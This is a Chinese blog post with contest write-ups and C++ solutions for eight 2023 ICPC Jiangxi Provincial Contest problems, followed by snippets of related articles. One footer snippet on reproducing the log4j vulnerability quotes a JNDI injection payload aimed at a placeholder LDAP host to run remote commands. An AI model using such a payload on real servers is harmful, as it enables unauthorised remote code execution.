【XCPC笔记】2023 (ICPC) Jiangxi Provincial Contest——ABCHIJKL 做题记录

赛后gym练习及补题,gym链接:2023 (ICPC) Jiangxi Provincial Contest – Official Contest

补题顺序

  • L [Zhang Fei Threading Needles - Thick with Fine](https://codeforces.com/gym/104385/problem/L)
    • 题面解读
    • 参考代码
  • A [Drill Wood to Make Fire](https://codeforces.com/gym/104385/problem/A)
    • 题面解读
    • 参考代码
  • B [Wonderful Array](https://codeforces.com/gym/104385/problem/B)
    • 题面解读
    • 参考代码
  • I [Tree](https://codeforces.com/gym/104385/problem/I)
    • 题面解读
    • 参考代码
  • J [Function](https://codeforces.com/gym/104385/problem/J)
    • 题面解读
    • 参考代码
  • K [Split](https://codeforces.com/gym/104385/problem/K)
    • 题面解读
    • 参考代码
  • C [Battle](https://codeforces.com/gym/104385/problem/C)
    • 题面解读
    • 参考代码
  • H [Permutation](https://codeforces.com/gym/104385/problem/H)
    • 题面解读
    • 参考代码

L Zhang Fei Threading Needles - Thick with Fine

签到题

题面解读

当时在场人数为N,其中夏侯杰被吓死了,其他人被吓跑了,请问张飞吓跑了的人数是多少?

输出N-1即可

参考代码

#include<bits/stdc++.h>
using namespace std;int main()
{ios::sync_with_stdio(0), cin.tie(0);int n; cin >> n;cout << n - 1;return 0;
}

A Drill Wood to Make Fire

签到题

题面解读

钻木取火与钻木的速度与力量有关,当速度与力量的乘积大于某个阈值的时候,能够钻木取火成功。提供阈值、力量、速度,问是否能够取火成功。

参考代码

#include<bits/stdc++.h>
using namespace std;
int n, s, v;int main()
{ios::sync_with_stdio(0), cin.tie(0);int t; cin >> t;while(t--){cin >> n >> s >> v;if(s * v >= n) cout << "1\n";else cout << "0\n";}return 0;
}

B Wonderful Array

数学题

题面解读

给定一个长度为 k 的数组 a ,对于长度为 n 的数组 b
b i = { x , i = 0 b i − 1 + a i − 1 m o d k , 0 < i ≤ n b_{i}=\begin{cases}x,i=0\\ b_{i-1}+a_{i-1}\quad mod \quad k,0 <i\leq n\end{cases} bi={x,i=0bi1+ai1modk,0<in
找出 有多少个 i 使得 :
b i m o d m ≤ b i + 1 m o d m b_{i} \quad mod \quad m\leq b_{i+1}\quad mod \quad m bimodmbi+1modm
此处,由于 a[i] 大于 0,所以 b[i] 在不取模情况下一定是一个单调递增的。所以正向考虑满足题意的部分,直接顺序枚举会是一个 O(n) 的复杂度,题目限制 1s ,这样肯定超时。

那么,我们选择反向考虑,寻找能够使得 b[i] > b[i + 1] (取模后)的位置。由于对 m 取模,那么对于一个递增的数组,这个位置就应该每当数组递增超过 m 就出现一次。在整个b数组过程中,就应该有 b[n]/m 个。那么新的问题就是如何去计算 b[n] ?由于 数组 b 一直在对 k 取模,所以 数组 b 是一个周期性增减的,我们就不用去看整个数组b而是找其中一段。计算 数组b[n] 的办法详见代码。

最终答案的个数是 n - b[n]/m

参考代码

#include <bits/stdc++.h>
using namespace std;
using ll = long long;
const int K = 1e6 + 5;ll k, n, m, x;
ll arr[K];int main()
{ios::sync_with_stdio(0), cin.tie(0);cin >> k;for(int i = 0; i < k; ++i) cin >> arr[i];cin >> n >> m >> x;ll b = 0, cnt = 0;x = x % m;for(int i = 0; i < k; ++i) b += arr[i] % m;b = n / k * b + x;for(int i = 0; i < n % k; ++i) b += arr[i] % m;cout << n - b / m;return 0;
}

I Tree

异或

题面解读

一个 n 节点的树,结点连接的边有边权。执行 q 次操作:

  1. 对结点 x 到结点 y 的路径上每条边的边权异或 z
  2. 询问编号为 x 的结点的所有边的边权异或和。

此处,有个小的脑筋急转弯。比如,对于操作1,如果1-2-3这三个点按照这个顺序连接,当让1到3的路径上边权都异或上 w ,那么此时对于结点 2 ,它所连接的两个边的异或和是没有变化的:比如 1与2的边权为 3 ,2 与 3 的边权大小为 5,对结点 1 到结点 2 的路径上每条边的边权异或 2 ,对于结点2的边权异或和 3 ^ 5 == 3 ^ 2 ^ 5 ^ 2 == 3 ^ 5,因为对于一个数异或自己为0。

那么,操作1的修改只会对 x 和 y 有效。

参考代码

#include<bits/stdc++.h>
using namespace std;
const int N = 5e5 + 5;
int n, q, v[N];
int main()
{ios::sync_with_stdio(0), cin.tie(0);cin >> n >> q;for(int i = 1; i <= n - 1; ++i){int x, y, w;cin >> x >> y >> w;v[x] ^= w, v[y] ^= w;}while(q--){int op; cin >> op;if(op == 1){int x, y, z;cin >> x >> y >> z;v[x] ^= z, v[y] ^= z;}else{int x; cin >> x;cout << v[x] << '\n';}}return 0;
}

J Function

题面解读

给定多个一元二次函数,询问在某一点处的最小值是多少。

当给出一个一元二次函数的时候,我们就可以去通过这个函数去更新其他点上最小值是多少。而如果我们每给出一个函数,就去更新 1 ~ n 上所有点的话,最坏的时间复杂度就是 O(1e10),无法在1s 内跑完。

根据题目中 b b b 的数据范围肯定小于 1e5 ,那么当
( x − i ) 2 > b \left( x-i\right) ^{2} >b (xi)2>b
此时就不用再去维护这个最小值,因为肯定大于其他函数在这个位置上的最小值。

参考代码

#include<bits/stdc++.h>
using namespace std;
using ll = long long;
const int N = 2e5 + 5;ll arr[N], a, b;
int n, m;
int mxl = int(sqrt(1e5) + 0.5); // 向上取整,大概317void update(int x)
{arr[x] = min(arr[x], b);for(int i = x - 1, j = 1; i >= 1 && j <= mxl; ++j, --i)arr[i] = min(arr[i], j * j + b);for(int i = x + 1, j = 1; i <= n && j <= mxl; ++j, ++i)arr[i] = min(arr[i], j * j + b);
}int main()
{ios::sync_with_stdio(0), cin.tie(0);cin >> n;memset(arr, 0x3f, sizeof arr);for(int i = 1; i <= n; ++i){cin >> b;update(i);}cin >> m;for(int i = 1; i <= m; ++i){int op; cin >> op;if(op){cin >> a; cout << arr[a] << "\n";}else{cin >> a >> b;update(a);}}return 0;
}

K Split

题面解读

题目中给出了一个长度为 n n n 的非增序列。进行 m m m 次操作,分为两种:

操作0,给你一个 1 < x < n 1 <x <n 1<x<n ,使得 a x = a x + 1 + a x − 1 − a x a_{x}=a_{x+1}+a_{x-1}-a_{x} ax=ax+1+ax1ax

操作1,将序列分成 k k k 个小块,其中每个小块的最大值-最小值之和要最小,并且输出每个小块中最大值-最小值之和最小值。

对于操作1,随机挑选一段,结果为: a 1 − a i + a i + 1 − . . . − a j + a j + 1 − a n a_1 - a_i + a_{i+1} -... - a_j + a_{j+1} - a_n a1ai+ai+1...aj+aj+1an, 整理后得: a 1 − a n + a i + 1 − a i + a j + 1 − a j . . . a_1 - a_n + a_{i+1} - a_i + a_{j+1} - a_j ... a1an+ai+1ai+aj+1aj...。可以看出,前两项一定且大于0,后面每两项都是相邻两数之差且小于等于0(后一项-前一项)。因此,为了让最大值减最小值之和最小,我们挑选这个序列中最小的 k − 1 k-1 k1 个差就可以了。

对于操作0,对序列中某段 a x − 1 , a x , a x + 1 a_{x-1},a_x,a_{x+1} ax1,ax,ax+1,转变为 a x − 1 , a x + 1 + a x − 1 − a x , a x + 1 a_{x-1},a_{x+1}+a_{x-1}-a_{x},a_{x+1} ax1,ax+1+ax1ax,ax+1
对于初始情况,这一段的后一项-前一项为: a x − a x − 1 , a x + 1 − a x a_x - a_{x-1},a_{x+1}-a_x axax1,ax+1ax,改变之后为: a x − 1 − a x , a x − a x + 1 a_{x-1}-a{x},a_{x}-a_{x+1} ax1ax,axax+1。可见,这一波操作并没有对整个序列的差分造成什么影响。所以后续代码中也不会对操作0进行任何处理。

参考代码

#include<bits/stdc++.h>
using namespace std;
const int N = 1e6 + 5;
typedef long long ll;
int n, m;
ll a[N], b[N];int main()
{ios::sync_with_stdio(0), cin.tie(0);cin >> n;for(int i = 0; i < n; ++i) cin >> a[i];for(int i = 1; i < n; i++) b[i] = a[i] - a[i - 1]; // 计算上述后项与前项的差sort(b + 1, b + n); // 将差分结果排序for(int i = 1; i < n; i++) b[i] = b[i] + b[i - 1]; // 将排序完的结果计算前缀和,方便后续查询直接使用cin >> m;while(m--){int op, k;cin >> op >> k;if(op == 1) cout << a[0] - a[n - 1] + b[k - 1] << "\n"; // 只要选择前 K-1 项即可}return 0;
}

C Battle

题面解读

博弈论中一个经典的Nim游戏,为了补题,专门去看了一眼什么是公平组合游戏。虽然看了,感觉明白了但没完全明白,感兴趣的可以去看看大佬的博客,本蒟蒻还得再吸收理解几遍。
推荐参考理解的博客:算法学习笔记(51): SG函数 、公平组合游戏

参考代码

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
int n;
ll p, ans;ll sg(ll x)
{if(x == p) return 2;if(x&1) return 1;return 0;
}int main()
{ios::sync_with_stdio(false);cin.tie(0);cin >> n >> p;for (int i = 0; i < n; i++){ll t;cin >> t;if (p & 1){if(t&1) ans ^= 1;else ans ^= 0;}else{ans ^= sg(t % (p + 1));}}if(ans) cout << "GOOD\n";else cout << "BAD\n";return 0;
}

H Permutation

多重背包问题

题面解读

给定一个长度为 n n n 的排列(其中 n n n 一定为偶数),现在将其从中间分成两个序列 A A A B B B ,每次执行如下操作:

  • 如果序列 A A A 和序列 B B B 都为空,停止操作
  • 如果序列 A A A B B B 只有一个为空,将剩余部分放在序列 P P P 的后面
  • 如果 A A A B B B 都不为空,将 A A A B B B 首位第一个中最小的一个从原序列中删除,并放入序列 P P P 后面

现在给定序列 P P P,问对于 n n n 的所有排列,是否存在一种使得经过上述操作后成为序列 P P P

经过观察题面样例可以发现,在排列中,一个数到比其大的数都必须放入一个序列中,如图:
在这里插入图片描述

那么就可以将题目中所给序列P按照长度划分为多个物品,每个物品我们需要记录其长度即可,将长度一样的子序列当作同种物品,每种物品有多个。这样,就相当于从这些物品中找到能够凑出长度为 n / 2 n/2 n/2 的方案,多重背包由此得出。
不过此处如果按照普通多重背包去处理,担心可能会超时,所以我们考虑,对于每个物品进行二进制优化(为什么要进行二进制优化可以参考OI-wiki 背包 DP)。

题目中还有一处需要注意的点,就是需要开long long,蒟蒻没有开 long long,喜提 Wrong answer on test 21

参考代码

#include<bits/stdc++.h>
using namespace std;
const int N = 5e5 + 5;
typedef long long ll;
ll n, arr[N], dp[N];void solve()
{cin >> n;for(int i = 1; i <= n; i++) cin >> arr[i];ll mx = arr[1], cnt = 1, tg = n / 2;map<ll, ll> mp;// 按照规律将数字长度划分到一组中for(int i = 2; i <= n; i++){mx = max(mx, arr[i]);if(mx == arr[i]){mp[cnt]++;cnt = 1;}else{cnt++;if(cnt > tg) { cout << "No\n"; return;}}}mp[cnt]++;// 将长度一样的当作同种物品,按照多重背包二进制优化存储vector<ll> things;for(auto x : mp){cnt = 1;while(x.second >= cnt){things.push_back(x.first * cnt);x.second -= cnt;cnt *= 2;}if(x.second > 0) things.push_back(x.first * x.second);}// 多重背包部分for(int i = 1; i <= tg; ++i) dp[i] = 0;dp[0] = 1;for(int i = 0; i < things.size(); ++i){for(int j = tg; j >= things[i]; --j)dp[j] += dp[j - things[i]];if(dp[tg] >= 1) {cout << "Yes\n"; return;}}cout << "No\n";
}int main()
{ios::sync_with_stdio(0), cin.tie(0);int t; cin >> t;while(t--) solve();return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797677.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营Day42|LC416 分割等和子集

一句话总结&#xff1a;背包问题。 原题链接&#xff1a;416 分割等和子集 拿到题先明确这是动态规划的题&#xff0c;具体类型是01背包问题。到了题目解法这里&#xff0c;首先判断数组加和是否为偶数&#xff0c;否则return false。然后就是01背包问题的解题思路了。具体地&…

LeetCode-热题100:118. 杨辉三角

题目描述 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]] 示例 2: 输入: numRows 1 输出: [[1]]…

The Sandbox:在NFT Paris 2024引领数字文艺复兴

我们的欧洲、中东和非洲&#xff08;EMEA&#xff09;总部位于法国巴黎&#xff0c;我们的创始人也是土生土长的法国人&#xff0c;因此 The Sandbox 一直与 "光之城 "有着紧密的联系。近年来&#xff0c;巴黎日益成为 Web3 创新的中心&#xff0c;NFT 艺术氛围日益浓…

宏的使用(C语言详解)

在写一个代码生成可执行文件的过程需要经过编译和链接&#xff0c;编译又要经过三部&#xff1a;预处理&#xff0c;编译&#xff0c;汇编。 #define定义的变量和宏就是在预处理阶段会处理的。 一个简单的宏定义&#xff1a; #include<stdio.h>; #define Max(a,b) a>…

计算机毕业设计选题之基于SSM的旅游管理系统【源码+PPT+文档+包运行成功+部署讲解】

&#x1f493;项目咨询获取源码联系v&#x1f493;xiaowan1860&#x1f493; &#x1f6a9;如何选题&#xff1f;&#x1f351; 对于项目设计中如何选题、让题目的难度在可控范围&#xff0c;以及如何在选题过程以及整个毕设过程中如何与老师沟通&#xff0c;有疑问不清晰的可…

SpringCloud Hystrix 服务熔断、服务降级防止服务雪崩

文章目录 SpringCloud Hystrix 熔断器、服务降级防止服务雪崩需求背景引入依赖启动类加Hystrix注解接口配置熔断常规配置超时断开错误率熔断请求数熔断限流 全局配置可配置项HystrixCommand.Setter参数Command Properties 服务降级 SpringCloud Hystrix 熔断器、服务降级防止服…

反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势&#xff0c;以简化并改进微型光学感测器的设计。 反射感测器是设计微型光电开关的得力助手。它们精巧直观&#xff0c;可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面&#xff0c;当手指或其他物体接触镜盖表面时&a…

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写&#xff1a;&#xff08;ppt尽量好看点&#xff0c;放图&#xff08;流畅图&#xff0c;时序图放一放&#xff09;&#xff0c;少字&#xff0c;&#xff09; 总结&#xff1a;&#xff08;这样给人体验感要好&#xff0c;语言、逻辑清晰&#xff09; 1…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…

SpringBoot登录校验(四)过滤器Filter

JWT令牌生成后&#xff0c;客户端发的请求头中会带有JWT令牌&#xff0c;服务端需要校验每个请求的令牌&#xff0c;如果在每个controller方法中添加校验模块&#xff0c;则十分复杂且冗余&#xff0c;所以引入统一拦截模块&#xff0c;将请求拦截下来并做校验&#xff0c;这块…